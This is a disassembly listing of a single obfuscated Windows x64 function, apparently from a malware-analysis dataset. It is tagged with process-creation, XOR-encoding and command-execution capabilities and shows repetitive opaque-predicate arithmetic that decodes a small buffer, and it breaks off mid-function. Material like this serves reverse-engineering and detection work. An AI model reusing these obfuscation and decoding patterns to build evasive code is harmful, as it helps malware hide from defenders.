Function at 0x140009990
Capabilities:
Create process on windows
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x328]
sub rsp, 0x400
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rbp + 0x278], rax
mov r11, rdx
mov qword [rbp - 0x68], rdx
mov r10d, ecx
mov dword [rbp - 0x54], ecx
call fcn.1400054f0
movsx ebx, al
call fcn.1400054e0
movsx r8d, al
imul ebx, r8d
call fcn.140005520
movsx esi, al
lea r15d, [rsi + rbx]
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
xor r12d, r12d
lea r14d, [r12 + 3]
cmp eax, ecx
je 0x14000ca4d
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov eax, r12d
cmp r10d, 2
setl al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea edi, [rsi + rbx*8]
add edi, ebx
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009aef
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140009aef
mov r9d, r14d
jmp 0x140009b4c
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009b47
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r9d, xmm0
jmp 0x140009b4c
mov r9d, dword [rsp + 0x78]
movsx eax, byte [0x14001a004]
add eax, esi
lea eax, [rax + rbx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000ca4d
lea edx, [rbx + rbx*4]
movsx eax, byte [0x14001a004]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c8b9
mov byte [rbp - 0x58], r12b
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x58]
call fcn.140003e00
mov r9, rax
movsd xmm4, qword [0x140013af8]
movsd xmm5, qword [0x140013af0]
movsd xmm6, qword [0x140013ae8]
cmp byte [rax], r12b
jne 0x14000a602
mov dword [rsp + 0x30], r12d
mov ecx, dword [rsp + 0x30]
call fcn.140005500
movsx r10d, al
call fcn.140005530
movsx r11d, al
call fcn.140005510
movsx r12d, al
movsd xmm3, qword [0x140013ae0]
mov r13d, dword [rsp + 0x78]
nop word [rax + rax]
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140009dfa
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009ca8
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140009ca8
mov r13d, r14d
jmp 0x140009cfe
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009cfe
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009d73
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140009d73
mov dword [rsp + 0x70], r14d
jmp 0x140009dcc
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009dcc
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r13b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x14001a004]
lea ecx, [rsi + rbx*8]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a400
movsx edx, byte [0x14001a340]
imul edx, r10d
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a00b
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009eb5
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140009eb5
mov dword [rsp + 0x44], r14d
jmp 0x140009f0e
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009f0e
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x44], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009f83
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x140009f83
mov dword [rsp + 0x64], r14d
jmp 0x140009fdc
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009fdc
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x64]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x44]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x14001a340]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a1f5
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a0a1
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a0a1
mov dword [rbp - 0x80], r14d
jmp 0x14000a0f9
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a0f9
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a16e
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a16e
mov dword [rsp + 0x60], r14d
jmp 0x14000a1c7
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a1c7
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x60]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x80]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
imul ecx, ebx, 7
movsx eax, byte [0x14001a004]
add ecx, esi
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a400
mov eax, dword [rsp + 0x30]
sub eax, 0x5d
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a2a0
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a2a0
mov dword [rbp - 0x78], r14d
jmp 0x14000a2f8
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a2f8
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x5d
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a37b
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a37b
mov dword [rbp - 0x7c], r14d
jmp 0x14000a3d3
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a3d3
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x7c]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x78]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a5e8
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a497
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a497
mov dword [rbp - 0x74], r14d
jmp 0x14000a4ef
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a4ef
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a563
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a563
mov dword [rbp - 0x70], r14d
jmp 0x14000a5bb
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a5bb
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x74]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xd
jb 0x140009c10
xor r12d, r12d
mov byte [r9], 1
lea rax, [r9 + 1]
mov qword [rsp + 0x78], rax
mov byte [rbp - 0x57], 0
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x57]
call fcn.1400033e0
mov r9, rax
cmp byte [rax], 0
jne 0x14000b05f
mov dword [rsp + 0x30], r12d
mov ecx, dword [rsp + 0x30]
cmp ecx, 0xd
jae 0x14000b05f
call fcn.140005500
movsx r10d, al
call fcn.140005530
movsx r11d, al
call fcn.140005510
movsx r12d, al
movsd xmm3, qword [0x140013b00]
mov r13d, dword [rsp + 0x78]
nop word [rax + rax]
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a857
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a708
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a708
mov r13d, r14d
jmp 0x14000a75e
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a75e
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a7d2
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a7d2
mov dword [rbp - 0x74], r14d
jmp 0x14000a82a
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a82a
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x74]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r13b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x14001a004]
lea ecx, [rsi + rbx*8]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ae5a
movsx edx, byte [0x14001a340]
imul edx, r10d
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000aa62
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a911
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a911
mov dword [rbp - 0x78], r14d
jmp 0x14000a969
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a969
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a9dd
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000a9dd
mov dword [rbp - 0x70], r14d
jmp 0x14000aa35
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000aa35
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x78]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x14001a340]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000ac49
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000aaf8
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000aaf8
mov dword [rbp - 0x80], r14d
jmp 0x14000ab50
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ab50
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000abc4
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000abc4
mov dword [rbp - 0x7c], r14d
jmp 0x14000ac1c
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ac1c
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x7c]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
